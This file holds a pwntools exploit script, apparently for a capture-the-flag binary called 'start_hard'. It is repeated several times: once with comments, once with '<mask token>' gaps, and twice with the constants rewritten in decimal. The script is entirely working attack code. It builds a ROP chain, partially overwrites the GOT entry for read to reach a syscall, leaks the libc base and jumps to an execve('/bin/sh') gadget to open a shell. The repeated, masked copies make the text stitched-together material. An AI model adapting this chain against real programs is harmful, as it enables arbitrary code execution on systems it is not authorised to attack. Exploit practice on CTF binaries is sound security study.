from pwn import *
libc = ELF("/usr/lib/libc.so.6", checksec=False)
elf = ELF("./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249", checksec=False)
pop_rsi_r15 = p64(0x00000000004005c1)
pop_rdi = p64(0x00000000004005c3)
mov_eax_0 = p64(0x40054b)
bss = 0x000000000601038 + 0x100
payload = b''.join([
    cyclic(16), p64(bss-0x8), # setup fake stack frame

    pop_rsi_r15, p64(bss), p64(0), # insert fake instruction to bss
    p64(elf.plt['read']),

    pop_rsi_r15, p64(elf.got['read']), p64(0), # overwrite last byte read to point syscall
    p64(elf.plt['read']),

    pop_rdi, p64(1),
    p64(elf.plt['read']),   # write -> leak

    mov_eax_0, # set eax to 0 and return to bss
])
p = elf.process()
pause()
p.sendline(payload)
payload = b''.join([
    pop_rdi, p64(0),
    pop_rsi_r15, p64(bss+(8*6)), p64(0), # overwrite rip from bss
    p64(elf.plt['read']),
])
p.send(payload) # send to bss
p.send(b'\xc0') # read -> syscall
leak = u64(p.recv(8))
libc.address = leak - (libc.sym['read']+0x10)
log.info("leak at 0x%x" % leak)
log.info("libc base at 0x%x" % libc.address)
# 0xcd530 execve("/bin/sh", rsi, rdx)
payload = b''.join([
    p64(0x00000000004003e1),
    p64(libc.address + 0x00000000000b686a), p64(0), # rdx
    p64(libc.address + 0x0000000000039b2e), p64(0), # rsi
    p64(libc.address + 0xcd530)
])
p.clean()
p.send(payload) # get shell
p.interactive()
5ff85b6fe6a03998282d55823d5887355f11a5ae
<mask token>

<mask token>
pause()
p.sendline(payload)
<mask token>
p.send(payload)
p.send(b'\xc0')
<mask token>
log.info('leak at 0x%x' % leak)
log.info('libc base at 0x%x' % libc.address)
<mask token>
p.clean()
p.send(payload)
p.interactive()

<mask token>
libc = ELF('/usr/lib/libc.so.6', checksec=False)
elf = ELF('./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249', checksec
    =False)
pop_rsi_r15 = p64(4195777)
pop_rdi = p64(4195779)
mov_eax_0 = p64(4195659)
bss = 6295608 + 256
payload = b''.join([cyclic(16), p64(bss - 8), pop_rsi_r15, p64(bss), p64(0),
    p64(elf.plt['read']), pop_rsi_r15, p64(elf.got['read']), p64(0), p64(
    elf.plt['read']), pop_rdi, p64(1), p64(elf.plt['read']), mov_eax_0])
p = elf.process()
pause()
p.sendline(payload)
payload = b''.join([pop_rdi, p64(0), pop_rsi_r15, p64(bss + 8 * 6), p64(0),
    p64(elf.plt['read'])])
p.send(payload)
p.send(b'\xc0')
leak = u64(p.recv(8))
libc.address = leak - (libc.sym['read'] + 16)
log.info('leak at 0x%x' % leak)
log.info('libc base at 0x%x' % libc.address)
payload = b''.join([p64(4195297), p64(libc.address + 747626), p64(0), p64(
    libc.address + 236334), p64(0), p64(libc.address + 841008)])
p.clean()
p.send(payload)
p.interactive()

from pwn import *
libc = ELF('/usr/lib/libc.so.6', checksec=False)
elf = ELF('./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249', checksec
    =False)
pop_rsi_r15 = p64(4195777)
pop_rdi = p64(4195779)
mov_eax_0 = p64(4195659)
bss = 6295608 + 256
payload = b''.join([cyclic(16), p64(bss - 8), pop_rsi_r15, p64(bss), p64(0),
    p64(elf.plt['read']), pop_rsi_r15, p64(elf.got['read']), p64(0), p64(
    elf.plt['read']), pop_rdi, p64(1), p64(elf.plt['read']), mov_eax_0])
p = elf.process()
pause()
p.sendline(payload)
payload = b''.join([pop_rdi, p64(0), pop_rsi_r15, p64(bss + 8 * 6), p64(0),
    p64(elf.plt['read'])])
p.send(payload)
p.send(b'\xc0')
leak = u64(p.recv(8))
libc.address = leak - (libc.sym['read'] + 16)
log.info('leak at 0x%x' % leak)
log.info('libc base at 0x%x' % libc.address)
payload = b''.join([p64(4195297), p64(libc.address + 747626), p64(0), p64(
    libc.address + 236334), p64(0), p64(libc.address + 841008)])
p.clean()
p.send(payload)
p.interactive()

from pwn import *
libc = ELF("/usr/lib/libc.so.6", checksec=False)
elf = ELF("./start_hard_c8b452f5aab9a474dcfe1351ec077a601fdf8249", checksec=False)
pop_rsi_r15 = p64(0x00000000004005c1)
pop_rdi = p64(0x00000000004005c3)
mov_eax_0 = p64(0x40054b)
bss = 0x000000000601038 + 0x100
payload = b''.join([
    cyclic(16), p64(bss-0x8), # setup fake stack frame

    pop_rsi_r15, p64(bss), p64(0), # insert fake instruction to bss
    p64(elf.plt['read']),

    pop_rsi_r15, p64(elf.got['read']), p64(0), # overwrite last byte read to point syscall
    p64(elf.plt['read']),

    pop_rdi, p64(1),
    p64(elf.plt['read']),   # write -> leak

    mov_eax_0, # set eax to 0 and return to bss
])
p = elf.process()
pause()
p.sendline(payload)
payload = b''.join([
    pop_rdi, p64(0),
    pop_rsi_r15, p64(bss+(8*6)), p64(0), # overwrite rip from bss
    p64(elf.plt['read']),
])
p.send(payload) # send to bss
p.send(b'\xc0') # read -> syscall
leak = u64(p.recv(8))
libc.address = leak - (libc.sym['read']+0x10)
log.info("leak at 0x%x" % leak)
log.info("libc base at 0x%x" % libc.address)
# 0xcd530 execve("/bin/sh", rsi, rdx)
payload = b''.join([
    p64(0x00000000004003e1),
    p64(libc.address + 0x00000000000b686a), p64(0), # rdx
    p64(libc.address + 0x0000000000039b2e), p64(0), # rsi
    p64(libc.address + 0xcd530)
])
p.clean()
p.send(payload) # get shell
p.interactive()